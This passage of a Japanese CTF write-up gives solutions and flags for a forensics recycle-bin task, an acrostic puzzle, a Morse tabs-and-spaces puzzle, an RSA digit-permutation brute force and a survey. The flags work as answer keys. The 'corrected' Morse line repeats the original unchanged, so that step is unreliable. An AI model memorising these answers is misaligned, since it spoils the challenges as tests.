その状態でFTK ImagerでLogical Driveとしてマウントしたドライブを指定して内容を確認してみる。
$RECYVLE.BIN配下のディレクトリを掘っていくと、calc.exeのDATAにフラグが書いてあった。
ctf{10V3D_4ND_1057}
I Can't Beelieve It (Crypto)
行頭の文字をつなげる。
knowne ctfall
ただし、eの行は以下のように書いてある。
Ending our exposition here, beware.
「私たちの説明はここで終わります。注意してください。」ということなので、空行の次から連結する。
ctfallknown
ctf{allknown}
Where Snakes Die (Crypto)
タブとスペースと"|"で構成されている。モールス信号と推測し、書き換える。
-.-. - ..-. - .- -... ... -- ...- . .-. ... .--. .- -.-. . ...
https://morsecode.world/international/translator.htmlでデコードする。
CTFTABSMVERSPACES
以下では通らない。
ctf{tabsmverspaces}
モール信号が間違っていると推測し、以下と考える。
-.-. - ..-. - .- -... ... -- ...- . .-. ... .--. .- -.-. . ...
ctf{tabsoverspaces}
RAID Safety Assays, But Fixed (Crypto)
nをfactordbで素因数分解する。
n = 62682123970325402653307817299 * 73849754237166590568543300233
cの値は数値文字として、置換されているので、ブルートフォースで復号し、フラグの形式になるものを探す。
#!/usr/bin/env python3 from Crypto.Util.number import * from string import * import itertools e = 65537 n = 4629059450272139917534568159172903078573041591191268130667 c = 6743459147531103219359362407406880068975344190794689965016 c = str(c) p = 62682123970325402653307817299 q = 73849754237166590568543300233 assert n == p * q phi = (p - 1) * (q - 1) d = inverse(e, phi) nums = list(range(10)) for x in itertools.permutations(nums): real_c = '' for i in range(len(c)): real_c += str(x[int(c[i])]) real_c = int(real_c) m = pow(real_c, d, n) flag = long_to_bytes(m) if flag.startswith(b'ctf{'): flag = flag.decode() print(flag) break
ctf{cryptpainfulflag}
Survey (General)
アンケートに答えたら、フラグが表示された。
ctf{h0p3_u_3nj0y3d}